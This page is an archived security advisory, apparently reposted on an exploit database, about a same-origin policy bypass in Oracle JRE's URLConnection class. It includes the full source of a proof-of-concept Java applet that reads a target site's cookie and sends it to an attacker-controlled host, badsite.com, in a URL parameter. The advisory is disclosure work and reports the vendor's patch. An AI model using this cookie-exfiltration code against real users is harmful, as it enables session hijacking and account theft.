[remote exploits] - Oracle JRE - java.net.URLConnection clas
Posted on 20 October 2010
<!DOCTYPE html PUBLIC '-//W3C//DTD XHTML 1.0 Strict//EN' 'http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd'><html xmlns='http://www.w3.org/1999/xhtml'><head><meta http-equiv='Content-Type' content='text/html; charset=utf-8' /><meta http-equiv='Content-Language' content='en' /><title>Oracle JRE - java.net.URLConnection class – Same-of-Origin Policy Bypass | Inj3ct0r - exploit database : vulnerability : 0day : shellcode</title><meta name='description' content='Oracle JRE - java.net.URLConnection class – Same-of-Origin Policy Bypass by Roberto Suggi Liverani in remote exploits | Inj3ct0r - exploit database : vulnerability : 0day : shellcode' /><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon' /><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss' /><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></head><body><pre>======================================================================== Oracle JRE - java.net.URLConnection class – Same-of-Origin Policy Bypass ======================================================================== Description Security-Assessment.com discovered that a Java Applet making use of java.net.URLConnection class can be used to bypass same-of-origin (SOP) policy and domain based security controls in modern browsers when communication occurs between two domains that resolve to the same IP address. This advisory includes a Proof-of-Concept (PoC) demo and Java Applet source code. This demonstrates how the security vulnerability can be exploited to leak cookie information to an unauthorised domain, which resides on the same host IP address. Exploitation The Flash movie demo can be viewed at the following link: http://www.security-assessment.com/files/advisories/java_net_urlconnection_sop_bypass_demo.swf The Proof of Concept (PoC) demonstrates that a Cross Site Request Forgery (XSRF) attack can be leveraged by using a Java Applet which implements the java.net.URLConnection class. Traditionally, XSRF is used to force a user to perform an unwanted action on a target web site. In this case, the PoC shows that XSRF can be used to capture sensitive information such as a cookie related to a target web site. The following assumptions are made in this PoC: 1. The virtual hosts www.targetsite.net and www.badsite.com resolve to the same IP address; 2. A malicious user controls www.badsite.com web site; 3. A malicious user targets www.targetsite.net users. The following table summarises the sequence of actions shown in demo: 1 User has a valid cookie for www.targetsite.net 2 The same user visits www.badsite.com which performs a cross site forged request to www.targetsite.net . The forged request is performed by a Java Applet embedded on the malicious site. The Java Applet bypasses the Same-of- Origin policy (SOP) as an unsigned Java Applet should not be able to communica from www.badsite.com to www.targetsite.net without a crossdomain.xml policy file. 3 Java Applet performs first GET request to www.targetsite.net. At this stage, th Java Applet already controls the Cookie: header sent to www.targetsite.net through the getRequestProperty("cookie") method. This is in breach with SOP. 4 A second request is done for the purpose of the demo which leaks www.targetsite.net cookie’s to www.badsite.com via an HTTP GET request. Testing was successfully performed using Java(TM) SE Runtime Environment (build 1.6.0_21-b07) and the following browsers (all Windows XP): Mozilla Firefox 3.5.8 Opera 10.60 Internet Explorer 6.0.2900.5512 Google Chrome 5.0.375.9 Internet Explorer 8.0.6001.18702 Safari 5.0 (7533.16) MaliciousJavaApplet.java: import java.awt.*; import java.io.*; import java.net.*; public class MaliciousJavaApplet extends java.applet.Applet { TextArea messageLog = new TextArea(4, 40); public void init() { setLayout(new BorderLayout()); add("Center", messageLog); } public void start() { try { URL url = new URL("http://www.targetsite.net/default.html"); URLConnection connection; String inputLine; BufferedReader inReader; connection = url.openConnection(); connection.setAllowUserInteraction(false); connection.setDoOutput(true); messageLog.append("Request Property "+connection.getRequestProperty("cookie")+" "); messageLog.append("File read from URL " + url + ": "); inReader = new BufferedReader( new InputStreamReader(connection.getInputStream())); while (null != (inputLine = inReader.readLine())) { messageLog.append(inputLine + " "); } inReader.close(); messageLog.append("Request Property "+connection.getRequestProperty("cookie")+" "); String cookie; cookie = connection.getRequestProperty("cookie"); URL url2 = new URL("http://www.badsite.com/default.html?cookie="+cookie); URLConnection connection2; String inputLine2; BufferedReader inReader2; connection2 = url2.openConnection(); connection2.setAllowUserInteraction(false); connection2.setDoOutput(true); inReader2 = new BufferedReader( new InputStreamReader(connection2.getInputStream())); while (null != (inputLine2 = inReader2.readLine())) { messageLog.append(inputLine2 + " "); } inReader2.close(); } catch (IOException e) { System.err.println("Exception: " + e); } } } Solution Oracle has created a fix for this vulnerability which has been included as part of Critical Patch Update Advisory - October 2010. Security-Assessment.com recommends all users of JRE and JDK to upgrade to the latest version as soon as possible. For more information on the new release of JRE/JDK please refer to the release notes: http://www.oracle.com/technetwork/java/javase/downloads/index.html # <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-10-20]</pre></body></html>
